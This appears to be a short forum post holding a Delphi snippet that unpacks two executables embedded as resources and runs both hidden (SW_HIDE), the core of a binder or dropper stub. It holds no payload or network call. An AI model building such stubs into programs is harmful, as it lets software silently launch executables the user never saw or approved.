[NumLock]

Код:

procedure extract;
begin
ExtractRes('EXEFILE', 'first',IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+ '1.EXE');
ExtractRes('EXEFILE', 'second', IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+'2.EXE');
end;
begin
extract;
ShellExecute(0,nil,PCHar(IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+ '1.EXE'),nil,nil,SW_HIDE);
ShellExecute(0,nil,PCHar(IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+ '2.EXE'),nil,nil,SW_HIDE);
end.